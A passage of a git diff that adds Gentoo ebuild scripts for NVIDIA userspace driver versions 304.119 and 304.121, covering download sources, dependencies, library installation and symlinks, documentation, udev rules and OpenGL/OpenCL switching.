+ dodoc "${NV_DOC}/README"
+ doman "${NV_MAN}/nvidia-xconfig.1"
+ else
+ # Docs
+ newdoc "${NV_DOC}/README.txt" README
+ dodoc "${NV_DOC}/NVIDIA_Changelog"
+# doman "${NV_MAN}/nvidia-smi.1.gz"
+ doman "${NV_MAN}/nvidia-xconfig.1.gz"
+ fi
+
+ # Helper Apps
+ dobin ${NV_EXEC}/nvidia-xconfig || die
+ dobin ${NV_EXEC}/nvidia-bug-report.sh || die
+ if use kernel_linux; then
+ dobin ${NV_EXEC}/nvidia-smi || die
+ fi
+
+ if has_multilib_profile ; then
+ local OABI=${ABI}
+ for ABI in $(get_install_abis) ; do
+ src_install-libs
+ done
+ ABI=${OABI}
+ unset OABI
+ else
+ src_install-libs
+ fi
+
+ is_final_abi || die "failed to iterate through all ABIs"
+}
+
+# Install nvidia library:
+# the first parameter is the place where to install it
+# the second parameter is the base name of the library
+# the third parameter is the provided soversion
+donvidia() {
+ dodir $1
+ exeinto $1
+
+ libname=$(basename $2)
+
+ doexe $2.$3 || die "failed to install $2"
+ dosym ${libname}.$3 $1/${libname} || die "failed to symlink $2"
+ [[ $3 != "1" ]] && dosym ${libname}.$3 $1/${libname}.1
+}
+
+src_install-libs() {
+ local inslibdir=$(get_libdir)
+ local NV_ROOT="/usr/${inslibdir}/opengl/nvidia"
+ local libdir= sover=
+
+ if use kernel_linux; then
+ if has_multilib_profile && [[ ${ABI} == "x86" ]] ; then
+ libdir=usr/lib32
+ else
+ libdir=usr/lib
+ fi
+ sover=${PV}
+ else
+ libdir=obj
+ # on FreeBSD it has just .1 suffix
+ sover=1
+ fi
+
+ # The GLX libraries
+ donvidia ${NV_ROOT}/lib ${libdir}/libGL.so ${sover}
+ donvidia ${NV_ROOT}/lib ${libdir}/libGLcore.so ${sover}
+ if use x86-fbsd; then
+ donvidia ${NV_ROOT}/lib ${libdir}/libnvidia-tls.so ${sover}
+ else
+ donvidia ${NV_ROOT}/lib ${libdir}/tls/libnvidia-tls.so ${sover}
+ fi
+
+ #cuda
+ if [[ -f ${libdir}/libcuda.so.${sover} ]]; then
+ dolib.so ${libdir}/libcuda.so.${sover}
+ [[ "${sover}" != "1" ]] && dosym libcuda.so.${sover} /usr/${inslibdir}/libcuda.so.1
+ dosym libcuda.so.1 /usr/${inslibdir}/libcuda.so
+ fi
+
+ #vdpau
+ if [[ -f ${libdir}/libvdpau_nvidia.so.${sover} ]]; then
+ dolib.so ${libdir}/libvdpau_nvidia.so.${sover}
+ dosym libvdpau_nvidia.so.${sover} /usr/${inslibdir}/libvdpau_nvidia.so
+ fi
+
+ # OpenCL
+ # NOTE: This isn't currently available in the publicly released drivers.
+ if [[ -f ${libdir}/libOpenCL.so.1.0.0 ]]; then
+
+ dolib.so ${libdir}/libnvcompiler.so.${sover}
+ [[ "${sover}" != "1" ]] && dosym libnvcompiler.so.${sover} /usr/${inslibdir}/libnvcompiler.so.1
+ dosym libnvcompiler.so.1 /usr/${inslibdir}/libnvcompiler.so
+
+ dolib.so ${libdir}/libOpenCL.so.1.0.0
+ dosym libOpenCL.so.1.0.0 /usr/${inslibdir}/libOpenCL.so.1
+ dosym libOpenCL.so.1 /usr/${inslibdir}/libOpenCL.so
+ fi
+}
+
+pkg_preinst() {
+ # Clean the dynamic libGL stuff's home to ensure
+ # we dont have stale libs floating around
+ if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+ rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+ fi
+ # Make sure we nuke the old nvidia-glx's env.d file
+ if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+ rm -f "${ROOT}"/etc/env.d/09nvidia
+ fi
+
+ local videogroup="$(egetent group video | cut -d ':' -f 3)"
+ if [ -n "${videogroup}" ]; then
+ sed -i -e "s:PACKAGE:${PF}:g" \
+ -e "s:VIDEOGID:${videogroup}:" "${ROOT}"/etc/modprobe.d/nvidia.conf
+ else
+ eerror "Failed to determine the video group gid."
+ die "Failed to determine the video group gid."
+ fi
+}
+
+pkg_postinst() {
+ # Switch to the nvidia implementation
+ eselect opengl set --use-old nvidia
+
+ elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+ elog
+ elog "NVIDIA has requested that any bug reports submitted have the"
+ elog "output of /usr/bin/nvidia-bug-report.sh included."
+ elog
+ elog "To work with compiz, you must enable the AddARGBGLXVisuals option."
+ elog
+ elog "If you are having resolution problems, try disabling DynamicTwinView."
+}
+
+pkg_postrm() {
+ eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-304.119.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-304.119.ebuild
new file mode 100644
index 00000000..b8feefa7
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-304.119.ebuild
@@ -0,0 +1,379 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+ portability toolchain-funcs unpacker user versionator udev
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( ftp://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+ amd64? ( ftp://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+ amd64-fbsd? ( ftp://download.nvidia.com/XFree86/FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+ x86-fbsd? ( ftp://download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi multilib x-multilib kernel_FreeBSD kernel_linux tools +X"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="app-admin/eselect-opencl
+ kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+ x-multilib? ( app-emulation/emul-linux-x86-xlibs )
+ multilib? ( app-emulation/emul-linux-x86-baselibs )
+ X? (
+ <x11-base/xorg-server-1.15.99
+ >=app-admin/eselect-opengl-1.0.9
+ )"
+DEPEND="${COMMON}"
+# Note: do not add !>nvidia-userspace-ver or !<nvidia-userspace-ver
+# because it would cause pkg_postrm to set the wrong opengl implementation
+RDEPEND="${COMMON}
+ X? ( x11-libs/libXvMC )
+ acpi? ( sys-power/acpid )
+ tools? ( media-video/nvidia-settings )"
+PDEPEND="X? ( >=x11-libs/libvdpau-0.3-r1 )"
+
+REQUIRED_USE="tools? ( X )"
+QA_PREBUILT="opt/* usr/lib*"
+S="${WORKDIR}/"
+
+pkg_pretend() {
+ if use amd64 && has_multilib_profile && \
+ [ "${DEFAULT_ABI}" != "amd64" ]; then
+ eerror "This ebuild doesn't currently support changing your default ABI"
+ die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+ fi
+
+ # Kernel features/options to check for
+ CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+ use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+ # Now do the above checks
+ use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+ # try to turn off distcc and ccache for people that have a problem with it
+ export DISTCC_DISABLE=1
+ export CCACHE_DISABLE=1
+
+ if use kernel_linux; then
+ linux-mod_pkg_setup
+ MODULE_NAMES="nvidia(video:${S}/kernel)"
+ BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+ SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+ # linux-mod_src_compile calls set_arch_to_kernel, which
+ # sets the ARCH to x86 but NVIDIA's wrapping Makefile
+ # expects x86_64 or i386 and then converts it to x86
+ # later on in the build process
+ BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+ fi
+
+ # Since Nvidia ships 3 different series of drivers, we need to give the user
+ # some kind of guidance as to what version they should install. This tries
+ # to point the user in the right direction but can't be perfect. check
+ # nvidia-driver.eclass
+ nvidia-driver-check-warning
+
+ # set variables to where files are in the package structure
+ if use kernel_FreeBSD; then
+ use x86-fbsd && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+ use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+ NV_DOC="${S}/doc"
+ NV_OBJ="${S}/obj"
+ NV_SRC="${S}/src"
+ NV_MAN="${S}/x11/man"
+ NV_X11="${S}/obj"
+ NV_SOVER=1
+ elif use kernel_linux; then
+ NV_DOC="${S}"
+ NV_OBJ="${S}"
+ NV_SRC="${S}/kernel"
+ NV_MAN="${S}"
+ NV_X11="${S}"
+ NV_SOVER=${PV}
+ else
+ die "Could not determine proper NVIDIA package"
+ fi
+}
+
+src_unpack() {
+ if ! use kernel_FreeBSD; then
+ cd "${S}"
+ unpack_makeself
+ else
+ unpack ${A}
+ fi
+}
+
+src_prepare() {
+ # Please add a brief description for every added patch
+ cat <<- EOF > "${S}"/nvidia.icd
+ /usr/$(get_libdir)/libnvidia-opencl.so
+ EOF
+
+ # Allow user patches so they can support RC kernels and whatever else
+ epatch_user
+}
+
+src_compile() {
+ # This is already the default on Linux, as there's no toplevel Makefile, but
+ # on FreeBSD there's one and triggers the kernel module build, as we install
+ # it by itself, pass this.
+
+ cd "${NV_SRC}"
+ if use kernel_FreeBSD; then
+ MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+ LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+ fi
+}
+
+# Install nvidia library:
+# the first parameter is the library to install
+# the second parameter is the provided soversion
+# the third parameter is the target directory if its not /usr/lib
+donvidia() {
+ # Full path to library minus SOVER
+ MY_LIB="$1"
+
+ # SOVER to use
+ MY_SOVER="$2"
+
+ # Where to install
+ MY_DEST="$3"
+
+ if [[ -z "${MY_DEST}" ]]; then
+ MY_DEST="/usr/$(get_libdir)"
+ action="dolib.so"
+ else
+ exeinto ${MY_DEST}
+ action="doexe"
+ fi
+
+ # Get just the library name
+ libname=$(basename $1)
+
+ # Install the library with the correct SOVER
+ ${action} ${MY_LIB}.${MY_SOVER} || \
+ die "failed to install ${libname}"
+
+ # If SOVER wasn't 1, then we need to create a .1 symlink
+ if [[ "${MY_SOVER}" != "1" ]]; then
+ dosym ${libname}.${MY_SOVER} \
+ ${MY_DEST}/${libname}.1 || \
+ die "failed to create ${libname} symlink"
+ fi
+
+ # Always create the symlink from the raw lib to the .1
+ dosym ${libname}.1 \
+ ${MY_DEST}/${libname} || \
+ die "failed to create ${libname} symlink"
+}
+
+src_install() {
+ if use kernel_linux; then
+ # Add the aliases
+ # This file is tweaked with the appropriate video group in
+ # pkg_postinst, see bug #491414
+ newins "${FILESDIR}"/nvidia-169.07 nvidia.conf
+
+ # Ensures that our device nodes are created when not using X
+ exeinto "$(udev_get_udevdir)"
+ doexe "${FILESDIR}"/nvidia-udev.sh
+ udev_newrules "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+
+ elif use kernel_FreeBSD; then
+ if use x86-fbsd; then
+ insinto /boot/modules
+ doins "${S}/src/nvidia.kld" || die
+ fi
+
+ exeinto /boot/modules
+ doexe "${S}/src/nvidia.ko" || die
+ fi
+
+ # NVIDIA kernel <-> userspace driver config lib
+ donvidia ${NV_OBJ}/libnvidia-cfg.so ${NV_SOVER}
+
+ if use kernel_linux; then
+ # NVIDIA video decode <-> CUDA
+ donvidia ${NV_OBJ}/libnvcuvid.so ${NV_SOVER}
+ fi
+
+ if use X; then
+ # Xorg DDX driver
+ insinto /usr/$(get_libdir)/xorg/modules/drivers
+ doins ${NV_X11}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+ # Xorg GLX driver
+ donvidia ${NV_X11}/libglx.so ${NV_SOVER} \
+ /usr/$(get_libdir)/opengl/nvidia/extensions
+
+ # XvMC driver
+ dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+ die "failed to install libXvMCNVIDIA.so"
+ donvidia ${NV_X11}/libXvMCNVIDIA.so ${NV_SOVER}
+ dosym libXvMCNVIDIA.so.${NV_SOVER} \
+ /usr/$(get_libdir)/libXvMCNVIDIA_dynamic.so.1 || \
+ die "failed to create libXvMCNVIDIA_dynamic.so symlink"
+ fi
+
+ # OpenCL ICD for NVIDIA
+ if use kernel_linux; then
+ insinto /etc/OpenCL/vendors
+ doins nvidia.icd
+ donvidia ${NV_OBJ}/libnvidia-opencl.so ${NV_SOVER}
+ fi
+
+ # Documentation
+ dohtml ${NV_DOC}/html/*
+ if use kernel_FreeBSD; then
+ dodoc "${NV_DOC}/README"
+ use X && doman "${NV_MAN}/nvidia-xconfig.1"
+ else
+ # Docs
+ newdoc "${NV_DOC}/README.txt" README
+ dodoc "${NV_DOC}/NVIDIA_Changelog"
+ doman "${NV_MAN}/nvidia-smi.1.gz"
+ use X && doman "${NV_MAN}/nvidia-xconfig.1.gz"
+ doman "${NV_MAN}/nvidia-cuda-proxy-control.1.gz"
+ fi
+
+ # Helper Apps
+ exeinto /opt/bin/
+ if use X; then
+ doexe ${NV_OBJ}/nvidia-xconfig || die
+ fi
+
+ if use kernel_linux ; then
+ doexe ${NV_OBJ}/nvidia-debugdump || die
+ doexe ${NV_OBJ}/nvidia-cuda-proxy-control || die
+ doexe ${NV_OBJ}/nvidia-cuda-proxy-server || die
+ doexe ${NV_OBJ}/nvidia-smi || die
+ newinitd "${FILESDIR}/nvidia-smi.init" nvidia-smi
+ fi
+
+ exeinto /usr/bin/
+ doexe ${NV_OBJ}/nvidia-bug-report.sh || die
+
+ if has_multilib_profile && use multilib ; then
+ local OABI=${ABI}
+ for ABI in $(get_install_abis) ; do
+ src_install-libs
+ done
+ ABI=${OABI}
+ unset OABI
+ else
+ src_install-libs
+ fi
+
+ is_final_abi || die "failed to iterate through all ABIs"
+
+ # GNOME3 gnome-terminal redraw bug workaround,
+ # see: https://bugzilla.gnome.org/show_bug.cgi?id=664858
+ doenvd "${FILESDIR}/90mutter-disable-culling"
+}
+
+src_install-libs() {
+ local inslibdir=$(get_libdir)
+ local GL_ROOT="/usr/$(get_libdir)/opengl/nvidia/lib"
+ local CL_ROOT="/usr/$(get_libdir)/OpenCL/vendors/nvidia"
+ local libdir=${NV_OBJ}
+
+ if use kernel_linux && has_multilib_profile && \
+ [[ ${ABI} == "x86" ]] ; then
+ libdir=${NV_OBJ}/32
+ fi
+
+ if use X; then
+ # The GLX libraries
+ donvidia ${libdir}/libGL.so ${NV_SOVER} ${GL_ROOT}
+ donvidia ${libdir}/libnvidia-glcore.so ${NV_SOVER}
+ if use kernel_FreeBSD; then
+ donvidia ${libdir}/libnvidia-tls.so ${NV_SOVER} ${GL_ROOT}
+ else
+ donvidia ${libdir}/tls/libnvidia-tls.so ${NV_SOVER} ${GL_ROOT}
+ fi
+
+ # VDPAU
+ donvidia ${libdir}/libvdpau_nvidia.so ${NV_SOVER}
+ fi
+
+ # NVIDIA monitoring library
+ if use kernel_linux ; then
+ donvidia ${libdir}/libnvidia-ml.so ${NV_SOVER}
+ fi
+
+ # CUDA & OpenCL
+ if use kernel_linux; then
+ donvidia ${libdir}/libcuda.so ${NV_SOVER}
+ donvidia ${libdir}/libnvidia-compiler.so ${NV_SOVER}
+ donvidia ${libdir}/libOpenCL.so 1.0.0 ${CL_ROOT}
+ fi
+}
+
+pkg_preinst() {
+ # Clean the dynamic libGL stuff's home to ensure
+ # we dont have stale libs floating around
+ if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+ rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+ fi
+ # Make sure we nuke the old nvidia-glx's env.d file
+ if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+ rm -f "${ROOT}"/etc/env.d/09nvidia
+ fi
+}
+
+pkg_postinst() {
+ # Switch to the nvidia implementation
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+ "${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+ elog "You must be in the video group to use the NVIDIA device"
+ elog "For more info, read the docs at"
+ elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+ elog
+ elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+ elog
+ elog "To use the NVIDIA CUDA/OpenCL, run \"eselect opencl set nvidia\""
+ elog
+ elog "NVIDIA has requested that any bug reports submitted have the"
+ elog "output of /opt/bin/nvidia-bug-report.sh included."
+ elog
+ if ! use X; then
+ elog "You have elected to not install the X.org driver. Along with"
+ elog "this the OpenGL libraries, XvMC, and VDPAU libraries were not"
+ elog "installed. Additionally, once the driver is loaded your card"
+ elog "and fan will run at max speed which may not be desirable."
+ elog "Use the 'nvidia-smi' init script to have your card and fan"
+ elog "speed scale appropriately."
+ elog
+ fi
+
+ local videogroup="$(egetent group video | cut -d ':' -f 3)"
+ if [ -n "${videogroup}" ]; then
+ sed -i -e "s:PACKAGE:${PF}:g" \
+ -e "s:VIDEOGID:${videogroup}:" "${ROOT}"/etc/modprobe.d/nvidia.conf
+ else
+ eerror "Failed to determine the video group gid."
+ die "Failed to determine the video group gid."
+ fi
+}
+
+pkg_prerm() {
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-304.121.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-304.121.ebuild
new file mode 100644
index 00000000..c9401d56
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-304.121.ebuild
@@ -0,0 +1,379 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+ portability toolchain-funcs unpacker user versionator udev
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://us.download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+ amd64? ( http://us.download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+ amd64-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+ x86-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi multilib x-multilib kernel_FreeBSD kernel_linux tools +X"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="app-admin/eselect-opencl
+ kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+ x-multilib? ( app-emulation/emul-linux-x86-xlibs )
+ multilib? ( app-emulation/emul-linux-x86-baselibs )
+ X? (
+ <x11-base/xorg-server-1.15.99
+ >=app-admin/eselect-opengl-1.0.9
+ )"
+DEPEND="${COMMON}"
+# Note: do not add !>nvidia-userspace-ver or !<nvidia-userspace-ver
+# because it would cause pkg_postrm to set the wrong opengl implementation
+RDEPEND="${COMMON}
+ X? ( x11-libs/libXvMC )
+ acpi? ( sys-power/acpid )
+ tools? ( media-video/nvidia-settings )"
+PDEPEND="X? ( >=x11-libs/libvdpau-0.3-r1 )"
+
+REQUIRED_USE="tools? ( X )"
+QA_PREBUILT="opt/* usr/lib*"
+S="${WORKDIR}/"
+
+pkg_pretend() {
+ if use amd64 && has_multilib_profile && \
+ [ "${DEFAULT_ABI}" != "amd64" ]; then
+ eerror "This ebuild doesn't currently support changing your default ABI"
+ die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+ fi
+
+ # Kernel features/options to check for
+ CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+ use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+ # Now do the above checks
+ use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+ # try to turn off distcc and ccache for people that have a problem with it
+ export DISTCC_DISABLE=1
+ export CCACHE_DISABLE=1
+
+ if use kernel_linux; then
+ linux-mod_pkg_setup
+ MODULE_NAMES="nvidia(video:${S}/kernel)"
+ BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+ SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+ # linux-mod_src_compile calls set_arch_to_kernel, which
+ # sets the ARCH to x86 but NVIDIA's wrapping Makefile
+ # expects x86_64 or i386 and then converts it to x86
+ # later on in the build process
+ BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+ fi
+
+ # Since Nvidia ships 3 different series of drivers, we need to give the user
+ # some kind of guidance as to what version they should install. This tries
+ # to point the user in the right direction but can't be perfect. check
+ # nvidia-driver.eclass
+ nvidia-driver-check-warning
+
+ # set variables to where files are in the package structure
+ if use kernel_FreeBSD; then
+ use x86-fbsd && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+ use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+ NV_DOC="${S}/doc"
+ NV_OBJ="${S}/obj"
+ NV_SRC="${S}/src"
+ NV_MAN="${S}/x11/man"
+ NV_X11="${S}/obj"
+ NV_SOVER=1
+ elif use kernel_linux; then
+ NV_DOC="${S}"
+ NV_OBJ="${S}"
+ NV_SRC="${S}/kernel"
+ NV_MAN="${S}"
+ NV_X11="${S}"
+ NV_SOVER=${PV}
+ else
+ die "Could not determine proper NVIDIA package"
+ fi
+}
+
+src_unpack() {
+ if ! use kernel_FreeBSD; then
+ cd "${S}"
+ unpack_makeself
+ else
+ unpack ${A}
+ fi
+}
+
+src_prepare() {
+ # Please add a brief description for every added patch
+ cat <<- EOF > "${S}"/nvidia.icd
+ /usr/$(get_libdir)/libnvidia-opencl.so
+ EOF
+
+ # Allow user patches so they can support RC kernels and whatever else
+ epatch_user
+}
+
+src_compile() {
+ # This is already the default on Linux, as there's no toplevel Makefile, but
+ # on FreeBSD there's one and triggers the kernel module build, as we install
+ # it by itself, pass this.
+
+ cd "${NV_SRC}"
+ if use kernel_FreeBSD; then
+ MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+ LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+ fi
+}
+
+# Install nvidia library:
+# the first parameter is the library to install
+# the second parameter is the provided soversion
+# the third parameter is the target directory if its not /usr/lib
+donvidia() {
+ # Full path to library minus SOVER
+ MY_LIB="$1"
+
+ # SOVER to use
+ MY_SOVER="$2"
+
+ # Where to install
+ MY_DEST="$3"
+
+ if [[ -z "${MY_DEST}" ]]; then
+ MY_DEST="/usr/$(get_libdir)"
+ action="dolib.so"
+ else
+ exeinto ${MY_DEST}
+ action="doexe"
+ fi
+
+ # Get just the library name
+ libname=$(basename $1)
+
+ # Install the library with the correct SOVER
+ ${action} ${MY_LIB}.${MY_SOVER} || \
+ die "failed to install ${libname}"
+
+ # If SOVER wasn't 1, then we need to create a .1 symlink
+ if [[ "${MY_SOVER}" != "1" ]]; then
+ dosym ${libname}.${MY_SOVER} \
+ ${MY_DEST}/${libname}.1 || \
+ die "failed to create ${libname} symlink"
+ fi
+
+ # Always create the symlink from the raw lib to the .1
+ dosym ${libname}.1 \
+ ${MY_DEST}/${libname} || \
+ die "failed to create ${libname} symlink"
+}
+
+src_install() {
+ if use kernel_linux; then
+ # Add the aliases
+ # This file is tweaked with the appropriate video group in
+ # pkg_postinst, see bug #491414
+ newins "${FILESDIR}"/nvidia-169.07 nvidia.conf
+
+ # Ensures that our device nodes are created when not using X
+ exeinto "$(get_udevdir)"
+ doexe "${FILESDIR}"/nvidia-udev.sh
+ udev_newrules "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+
+ elif use kernel_FreeBSD; then
+ if use x86-fbsd; then
+ insinto /boot/modules
+ doins "${S}/src/nvidia.kld" || die
+ fi
+
+ exeinto /boot/modules
+ doexe "${S}/src/nvidia.ko" || die
+ fi
+
+ # NVIDIA kernel <-> userspace driver config lib
+ donvidia ${NV_OBJ}/libnvidia-cfg.so ${NV_SOVER}
+
+ if use kernel_linux; then
+ # NVIDIA video decode <-> CUDA
+ donvidia ${NV_OBJ}/libnvcuvid.so ${NV_SOVER}
+ fi
+
+ if use X; then
+ # Xorg DDX driver
+ insinto /usr/$(get_libdir)/xorg/modules/drivers
+ doins ${NV_X11}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+ # Xorg GLX driver
+ donvidia ${NV_X11}/libglx.so ${NV_SOVER} \
+ /usr/$(get_libdir)/opengl/nvidia/extensions
+
+ # XvMC driver
+ dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+ die "failed to install libXvMCNVIDIA.so"
+ donvidia ${NV_X11}/libXvMCNVIDIA.so ${NV_SOVER}
+ dosym libXvMCNVIDIA.so.${NV_SOVER} \
+ /usr/$(get_libdir)/libXvMCNVIDIA_dynamic.so.1 || \
+ die "failed to create libXvMCNVIDIA_dynamic.so symlink"
+ fi
+
+ # OpenCL ICD for NVIDIA
+ if use kernel_linux; then
+ insinto /etc/OpenCL/vendors
+ doins nvidia.icd
+ donvidia ${NV_OBJ}/libnvidia-opencl.so ${NV_SOVER}
+ fi
+
+ # Documentation
+ dohtml ${NV_DOC}/html/*
+ if use kernel_FreeBSD; then
+ dodoc "${NV_DOC}/README"
+ use X && doman "${NV_MAN}/nvidia-xconfig.1"
+ else
+ # Docs
+ newdoc "${NV_DOC}/README.txt" README
+ dodoc "${NV_DOC}/NVIDIA_Changelog"
+ doman "${NV_MAN}/nvidia-smi.1.gz"
+ use X && doman "${NV_MAN}/nvidia-xconfig.1.gz"
+ doman "${NV_MAN}/nvidia-cuda-proxy-control.1.gz"
+ fi
+
+ # Helper Apps
+ exeinto /opt/bin/
+ if use X; then
+ doexe ${NV_OBJ}/nvidia-xconfig || die
+ fi
+
+ if use kernel_linux ; then
+ doexe ${NV_OBJ}/nvidia-debugdump || die
+ doexe ${NV_OBJ}/nvidia-cuda-proxy-control || die
+ doexe ${NV_OBJ}/nvidia-cuda-proxy-server || die
+ doexe ${NV_OBJ}/nvidia-smi || die
+ newinitd "${FILESDIR}/nvidia-smi.init" nvidia-smi
+ fi
+
+ exeinto /usr/bin/
+ doexe ${NV_OBJ}/nvidia-bug-report.sh || die
+
+ if has_multilib_profile && use multilib ; then
+ local OABI=${ABI}
+ for ABI in $(get_install_abis) ; do
+ src_install-libs
+ done
+ ABI=${OABI}
+ unset OABI
+ else
+ src_install-libs
+ fi
+
+ is_final_abi || die "failed to iterate through all ABIs"
+
+ # GNOME3 gnome-terminal redraw bug workaround,
+ # see: https://bugzilla.gnome.org/show_bug.cgi?id=664858
+ doenvd "${FILESDIR}/90mutter-disable-culling"
+}
+
+src_install-libs() {
+ local inslibdir=$(get_libdir)
+ local GL_ROOT="/usr/$(get_libdir)/opengl/nvidia/lib"
+ local CL_ROOT="/usr/$(get_libdir)/OpenCL/vendors/nvidia"
+ local libdir=${NV_OBJ}
+
+ if use kernel_linux && has_multilib_profile && \
+ [[ ${ABI} == "x86" ]] ; then
+ libdir=${NV_OBJ}/32
+ fi
+
+ if use X; then
+ # The GLX libraries
+ donvidia ${libdir}/libGL.so ${NV_SOVER} ${GL_ROOT}
+ donvidia ${libdir}/libnvidia-glcore.so ${NV_SOVER}
+ if use kernel_FreeBSD; then
+ donvidia ${libdir}/libnvidia-tls.so ${NV_SOVER} ${GL_ROOT}
+ else
+ donvidia ${libdir}/tls/libnvidia-tls.so ${NV_SOVER} ${GL_ROOT}
+ fi
+
+ # VDPAU
+ donvidia ${libdir}/libvdpau_nvidia.so ${NV_SOVER}
+ fi
+
+ # NVIDIA monitoring library
+ if use kernel_linux ; then
+ donvidia ${libdir}/libnvidia-ml.so ${NV_SOVER}
+ fi
+
+ # CUDA & OpenCL
+ if use kernel_linux; then
+ donvidia ${libdir}/libcuda.so ${NV_SOVER}
+ donvidia ${libdir}/libnvidia-compiler.so ${NV_SOVER}
+ donvidia ${libdir}/libOpenCL.so 1.0.0 ${CL_ROOT}
+ fi
+}
+
+pkg_preinst() {
+ # Clean the dynamic libGL stuff's home to ensure
+ # we dont have stale libs floating around
+ if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+ rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+ fi
+ # Make sure we nuke the old nvidia-glx's env.d file
+ if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+ rm -f "${ROOT}"/etc/env.d/09nvidia
+ fi
+
